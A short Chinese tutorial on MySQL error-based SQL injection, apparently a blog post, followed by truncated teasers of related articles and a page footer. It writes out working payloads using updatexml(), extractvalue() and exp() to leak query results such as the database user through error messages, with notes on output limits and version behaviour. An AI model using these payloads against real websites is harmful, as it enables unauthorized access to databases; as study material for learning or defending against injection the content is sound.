当页面存在注入点并且回显报错信息时，我们就可以利用报错注入
updataxml报错注入：
该报错最多显示32位，若过超过32位，可以使用substr()进行分割
注入栗子：1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))%23
这是一个必定报错的语句，原因是16进制ascii 7e的字符为'~'，对于xml来说这是非法字符
结果：
报错中带着我们的查询结果
extractvalue报错注入:
和上面方法原理差不多
栗子：1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
exp报错注入：
栗子：1 and exp(~(select * from(select user())a));
报错原因是exp产生的数值达到最大值，产生越界
这个报错方法在mysql>5.5.53的版本无法显示
还有很多报错的方法，不全部举例了
参考：MySQL updatexml报错注入MySQL updatexml()、extractvalue() 报错...
当页面存在注入点并且回显报错信息时，我们就可以利用报错注入 updataxml报错注入： 该报错最多显示32位，若...
学习笔记 UpdateXml() MYSQL显错注入 实验吧 加了料的报错注入 https://blog.csdn...
sql 注入 1.盲注 （没有回显）2.显错注入3.报错注入 显错注入-联合查询（Mysql数据库）的基本流程 显...
extractvalue()，最多显示32位 模版http://url/?id=1 and (extractval...
第六天：MySQL防注入研究 MySQL头注入（http）Access偏移注入CSRF攻击 MySQL防注入 过滤...
union联合查询注入 报错注入
updatexml()函数 updataxml()函数用法 第一个参数：XML_document是String格式...
首先了解下updatexml()函数UPDATEXML (XML_document, XPath_string, ...
遇到了information_schema.columns因为权限不足，导致无法知道字段名，后来网上东找西找，找到...
本文标题：Mysql注入-报错注入
本文链接：https://www.haomeiwen.com/subject/jaaebctx.html
网友评论